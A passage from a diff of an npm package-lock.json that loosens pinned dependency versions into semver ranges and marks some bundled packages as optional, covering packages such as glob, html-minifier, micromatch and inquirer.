-5605,7 +5644,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "0.0.0" + "jsonify": "~0.0.0" } }, "json-stringify-safe": { @@ -5659,6 +5698,7 @@ "version": "3.0.4", "bundled": true, "dev": true, + "optional": true, "requires": { "brace-expansion": "1.1.7" } @@ -5666,12 +5706,14 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, + "optional": true, "requires": { "minimist": "0.0.8" } @@ -5772,7 +5814,8 @@ "path-is-absolute": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "performance-now": { "version": "0.2.0", @@ -5867,6 +5910,7 @@ "version": "2.6.1", "bundled": true, "dev": true, + "optional": true, "requires": { "glob": "7.1.2" } @@ -5959,6 +6003,7 @@ "version": "3.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -6111,7 +6156,7 @@ "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", "dev": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" } }, "glob": { @@ -6120,12 +6165,12 @@ "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", "dev": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "glob-base": { @@ -6135,8 +6180,8 @@ "dev": true, "optional": true, "requires": { - "glob-parent": "2.0.0", - "is-glob": "2.0.1" + "glob-parent": "^2.0.0", + "is-glob": "^2.0.0" } }, "glob-parent": { @@ -6145,7 +6190,7 @@ "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, "requires": { - "is-glob": "2.0.1" + "is-glob": "^2.0.0" } }, "global": { @@ -6154,8 +6199,8 @@ "integrity": "sha1-52mJJopsdMOJCLEwWxD8DjlOnQ8=", "dev": true, "requires": { - "min-document": "2.19.0", - "process": "0.5.2" + "min-document": "^2.19.0", + "process": "~0.5.1" } }, "global-modules-path": { @@ -6176,12 +6221,12 @@ "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", "dev": true, "requires": { - "array-union": "1.0.2", - "arrify": "1.0.1", - "glob": "7.1.3", - "object-assign": "4.1.1", - "pify": "2.3.0", - "pinkie-promise": "2.0.1" + "array-union": "^1.0.1", + "arrify": "^1.0.0", + "glob": "^7.0.3", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" } }, "graceful-fs": { @@ -6213,10 +6258,10 @@ "integrity": "sha1-Ywo13+ApS8KB7a5v/F0yn8eYLcw=", "dev": true, "requires": { - "async": "1.5.2", - "optimist": "0.6.1", - "source-map": "0.4.4", - "uglify-js": "2.8.29" + "async": "^1.4.0", + "optimist": "^0.6.1", + "source-map": "^0.4.4", + "uglify-js": "^2.6" }, "dependencies": { "source-map": { @@ -6225,7 +6270,7 @@ "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", "dev": true, "requires": { - "amdefine": "1.0.1" + "amdefine": ">=0.0.4" } } } @@ -6242,8 +6287,8 @@ "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "5.5.2", - "har-schema": "2.0.0" + "ajv": "^5.1.0", + "har-schema": "^2.0.0" }, "dependencies": { "ajv": { @@ -6252,10 +6297,10 @@ "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "dev": true, "requires": { - "co": "4.6.0", - "fast-deep-equal": "1.1.0", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.3.1" + "co": "^4.6.0", + "fast-deep-equal": "^1.0.0", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.3.0" } } } @@ -6266,7 +6311,7 @@ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "dev": true, "requires": { - "function-bind": "1.1.1" + "function-bind": "^1.1.1" } }, "has-ansi": { @@ -6275,7 +6320,7 @@ "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", "dev": true, "requires": { - "ansi-regex": "2.1.1" + "ansi-regex": "^2.0.0" } }, "has-binary2": { @@ -6319,9 +6364,9 @@ "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", "dev": true, "requires": { - "get-value": "2.0.6", - "has-values": "1.0.0", - "isobject": "3.0.1" + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" }, "dependencies": { "isobject": { @@ -6338,8 +6383,8 @@ "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", "dev": true, "requires": { - "is-number": "3.0.0", - "kind-of": "4.0.0" + "is-number": "^3.0.0", + "kind-of": "^4.0.0" }, "dependencies": { "is-number": { @@ -6348,7 +6393,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -6357,7 +6402,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -6368,7 +6413,7 @@ "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -6379,8 +6424,8 @@ "integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=", "dev": true, "requires": { - "inherits": "2.0.3", - "safe-buffer": "5.1.1" + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" } }, "hash.js": { @@ -6389,8 +6434,8 @@ "integrity": "sha512-eWI5HG9Np+eHV1KQhisXWwM+4EPPYe5dFX1UZZH7k/E3JzDEazVH+VGlZi6R94ZqImq+A3D1mCEtrFIfg/E7sA==", "dev": true, "requires": { - "inherits": "2.0.3", - "minimalistic-assert": "1.0.1" + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" } }, "hasha": { @@ -6399,8 +6444,8 @@ "integrity": "sha1-eNfL/B5tZjA/55g3NlmEUXsvbuE=", "dev": true, "requires": { - "is-stream": "1.1.0", - "pinkie-promise": "2.0.1" + "is-stream": "^1.0.1", + "pinkie-promise": "^2.0.0" } }, "hawk": { @@ -6409,10 +6454,10 @@ "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "4.3.1", - "cryptiles": "3.1.2", - "hoek": "4.2.1", - "sntp": "2.1.0" + "boom": "4.x.x", + "cryptiles": "3.x.x", + "hoek": "4.x.x", + "sntp": "2.x.x" } }, "he": { @@ -6426,11 +6471,11 @@ "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { - "invariant": "2.2.2", - "loose-envify": "1.3.1", - "resolve-pathname": "2.2.0", - "value-equal": "0.4.0", - "warning": "3.0.0" + "invariant": "^2.2.1", + "loose-envify": "^1.2.0", + "resolve-pathname": "^2.2.0", + "value-equal": "^0.4.0", + "warning": "^3.0.0" } }, "hmac-drbg": { @@ -6439,9 +6484,9 @@ "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", "dev": true, "requires": { - "hash.js": "1.1.5", - "minimalistic-assert": "1.0.1", - "minimalistic-crypto-utils": "1.0.1" + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" } }, "hoek": { @@ -6461,8 +6506,8 @@ "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", "dev": true, "requires": { - "os-homedir": "1.0.2", - "os-tmpdir": "1.0.2" + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.1" } }, "hosted-git-info": { @@ -6477,10 +6522,10 @@ "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", "dev": true, "requires": { - "inherits": "2.0.3", - "obuf": "1.1.2", - "readable-stream": "2.3.6", - "wbuf": "1.7.3" + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" }, "dependencies": { "isarray": { @@ -6501,13 +6546,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -6516,7 +6561,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -6533,11 +6578,11 @@ "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", "dev": true, "requires": { - "es6-templates": "0.2.3", - "fastparse": "1.1.1", - "html-minifier": "3.5.19", - "loader-utils": "1.1.0", - "object-assign": "4.1.1" + "es6-templates": "^0.2.3", + "fastparse": "^1.1.1", + "html-minifier": "^3.5.8", + "loader-utils": "^1.1.0", + "object-assign": "^4.1.1" }, "dependencies": { "loader-utils": { @@ -6546,9 +6591,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -6559,13 +6604,13 @@ "integrity": "sha512-Qr2JC9nsjK8oCrEmuB430ZIA8YWbF3D5LSjywD75FTuXmeqacwHgIM8wp3vHYzzPbklSjp53RdmDuzR4ub2HzA==", "dev": true, "requires": { - "camel-case": "3.0.0", - "clean-css": "4.1.11", - "commander": "2.16.0", - "he": "1.1.1", - "param-case": "2.1.1", - "relateurl": "0.2.7", - "uglify-js": "3.4.7" + "camel-case": "3.0.x", + "clean-css": "4.1.x", + "commander": "2.16.x", + "he": "1.1.x", + "param-case": "2.1.x", + "relateurl": "0.2.x", + "uglify-js": "3.4.x" }, "dependencies": { "commander": { @@ -6586,8 +6631,8 @@ "integrity": "sha512-J0M2i1mQA+ze3EdN9SBi751DNdAXmeFLfJrd/MDIkRc3G3Gbb9OPVSx7GIQvVwfWxQARcYV2DTxIkMyDAk3o9Q==", "dev": true, "requires": { - "commander": "2.16.0", - "source-map": "0.6.1" + "commander": "~2.16.0", + "source-map": "~0.6.1" } } } @@ -6598,12 +6643,12 @@ "integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=", "dev": true, "requires": { - "html-minifier": "3.5.19", - "loader-utils": "0.2.17", - "lodash": "4.17.10", - "pretty-error": "2.1.1", - "tapable": "1.0.0", - "toposort": "1.0.7", + "html-minifier": "^3.2.3", + "loader-utils": "^0.2.16", + "lodash": "^4.17.3", + "pretty-error": "^2.0.2", + "tapable": "^1.0.0", + "toposort": "^1.0.0", "util.promisify": "1.0.0" } }, @@ -6613,10 +6658,10 @@ "integrity": "sha1-zHDQWln2VC5D8OaFyYLhTJJKnv4=", "dev": true, "requires": { - "domelementtype": "1.3.0", - "domhandler": "2.1.0", - "domutils": "1.1.6", - "readable-stream": "1.0.34" + "domelementtype": "1", + "domhandler": "2.1", + "domutils": "1.1", + "readable-stream": "1.0" }, "dependencies": { "domutils": { @@ -6625,7 +6670,7 @@ "integrity": "sha1-vdw94Jm5ou+sxRxiPyj0FuzFdIU=", "dev": true, "requires": { - "domelementtype": "1.3.0" + "domelementtype": "1" } } } @@ -6642,10 +6687,10 @@ "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", "dev": true, "requires": { - "depd": "1.1.2", + "depd": "~1.1.2", "inherits": "2.0.3", "setprototypeof": "1.1.0", - "statuses": "1.5.0" + "statuses": ">= 1.4.0 < 2" } }, "http-parser-js": { @@ -6660,9 +6705,9 @@ "integrity": "sha512-Taqn+3nNvYRfJ3bGvKfBSRwy1v6eePlm3oc/aWVxZp57DQr5Eq3xhKJi7Z4hZpS8PC3H4qI+Yly5EmFacGuA/g==", "dev": true, "requires": { - "eventemitter3": "3.1.0", - "follow-redirects": "1.5.5", - "requires-port": "1.0.0" + "eventemitter3": "^3.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" } }, "http-proxy-middleware": { @@ -6671,10 +6716,10 @@ "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==", "dev": true, "requires": { - "http-proxy": "1.17.0", - "is-glob": "4.0.0", - "lodash": "4.17.10", - "micromatch": "3.1.10" + "http-proxy": "^1.16.2", + "is-glob": "^4.0.0", + "lodash": "^4.17.5", + "micromatch": "^3.1.9" }, "dependencies": { "arr-diff": { @@ -6695,16 +6740,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "1.1.0", - "array-unique": "0.3.2", - "extend-shallow": "2.0.1", - "fill-range": "4.0.0", - "isobject": "3.0.1", - "repeat-element": "1.1.2", - "snapdragon": "0.8.2", - "snapdragon-node": "2.1.1", - "split-string": "3.1.0", - "to-regex": "3.0.2" + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -6713,7 +6758,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -6724,13 +6769,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "2.6.8", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "posix-character-classes": "0.1.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -6739,7 +6784,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -6748,7 +6793,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "is-accessor-descriptor": { @@ -6757,7 +6802,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -6766,7 +6811,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -6777,7 +6822,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -6786,7 +6831,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -6797,9 +6842,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" } }, "kind-of": { @@ -6816,14 +6861,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "0.3.2", - "define-property": "1.0.0", - "expand-brackets": "2.1.4", - "extend-shallow": "2.0.1", - "fragment-cache": "0.2.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -6832,7 +6877,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "extend-shallow": { @@ -6841,7 +6886,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -6852,10 +6897,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-number": "3.0.0", - "repeat-string": "1.6.1", - "to-regex-range": "2.1.1" + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" }, "dependencies": { "extend-shallow": { @@ -6864,7 +6909,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -6875,7 +6920,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -6884,7 +6929,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -6893,9 +6938,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "is-extglob": { @@ -6910,7 +6955,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.1" } }, "is-number": { @@ -6919,7 +6964,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -6928,7 +6973,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -6951,19 +6996,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "braces": "2.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "extglob": "2.0.4", - "fragment-cache": "0.2.1", - "kind-of": "6.0.2", - "nanomatch": "1.2.13", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" } } } @@ -6974,9 +7019,9 @@ "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "dev": true, "requires": { - "assert-plus": "1.0.0", - "jsprim": "1.4.1", - "sshpk": "1.14.1" + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" } }, "https-browserify": { @@ -7002,7 +7047,7 @@ "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", "dev": true, "requires": { - "postcss": "6.0.23" + "postcss": "^6.0.1" } }, "ieee754": { @@ -7029,8 +7074,8 @@ "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==", "dev": true, "requires": { - "pkg-dir": "3.0.0", - "resolve-cwd": "2.0.0" + "pkg-dir": "^3.0.0", + "resolve-cwd": "^2.0.0" }, "dependencies": { "find-up": { @@ -7039,7 +7084,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "3.0.0" + "locate-path": "^3.0.0" } }, "locate-path": { @@ -7048,8 +7093,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "3.0.0", - "path-exists": "3.0.0" + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" } }, "p-limit": { @@ -7058,7 +7103,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "2.0.0" + "p-try": "^2.0.0" } }, "p-locate": { @@ -7067,7 +7112,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "2.0.0" + "p-limit": "^2.0.0" } }, "p-try": { @@ -7088,7 +7133,7 @@ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", "dev": true, "requires": { - "find-up": "3.0.0" + "find-up": "^3.0.0" } } } @@ -7105,7 +7150,7 @@ "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", "dev": true, "requires": { - "repeating": "2.0.1" + "repeating": "^2.0.0" } }, "indexof": { @@ -7120,8 +7165,8 @@ "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "dev": true, "requires": { - "once": "1.4.0", - "wrappy": "1.0.2" + "once": "^1.3.0", + "wrappy": "1" } }, "inherits": { @@ -7136,19 +7181,19 @@ "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==", "dev": true, "requires": { - "ansi-escapes": "3.1.0", - "chalk": "2.4.1", - "cli-cursor": "2.1.0", - "cli-width": "2.2.0", - "external-editor": "3.0.3", - "figures": "2.0.0", - "lodash": "4.17.10", + "ansi-escapes": "^3.0.0", + "chalk": "^2.0.0", + "cli-cursor": "^2.1.0", + "cli-width": "^2.0.0", + "external-editor": "^3.0.0", + "figures": "^2.0.0", + "lodash": "^4.17.10", "mute-stream": "0.0.7", - "run-async": "2.3.0", - "rxjs": "6.3.3", - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "through": "2.3.8" + "run-async": "^2.2.0", + "rxjs": "^6.1.0", + "string-width": "^2.1.0", + "strip-ansi": "^4.0.0", + "through": "^2.3.6" }, "dependencies": { "ansi-regex": { @@ -7163,7 +7208,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -7172,9 +7217,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.5.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -7189,7 +7234,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } }, "supports-color": { @@ -7198,7 +7243,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -7209,8 +7254,8 @@ "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==", "dev": true, "requires": { - "default-gateway": "2.7.2", - "ipaddr.js": "1.8.0" + "default-gateway": "^2.6.0", + "ipaddr.js": "^1.5.2" } }, "interpret": { @@ -7224,7 +7269,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.2.tgz", "integrity": "sha1-nh9WrArNtr8wMwbzOL47IErmA2A=", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } }, "invert-kv": { @@ -7257,7 +7302,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" } }, "is-arrayish": { @@ -7272,7 +7317,7 @@ "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", "dev": true, "requires": { - "binary-extensions": "1.9.0" + "binary-extensions": "^1.0.0" } }, "is-buffer": { @@ -7287,7 +7332,7 @@ "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", "dev": true, "requires": { - "builtin-modules": "1.1.1" + "builtin-modules": "^1.0.0" } }, "is-callable": { @@ -7302,7 +7347,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" } }, "is-date-object": { @@ -7317,9 +7362,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" }, "dependencies": { "kind-of": { @@ -7344,7 +7389,7 @@ "dev": true, "optional": true, "requires": { - "is-primitive": "2.0.0" + "is-primitive": 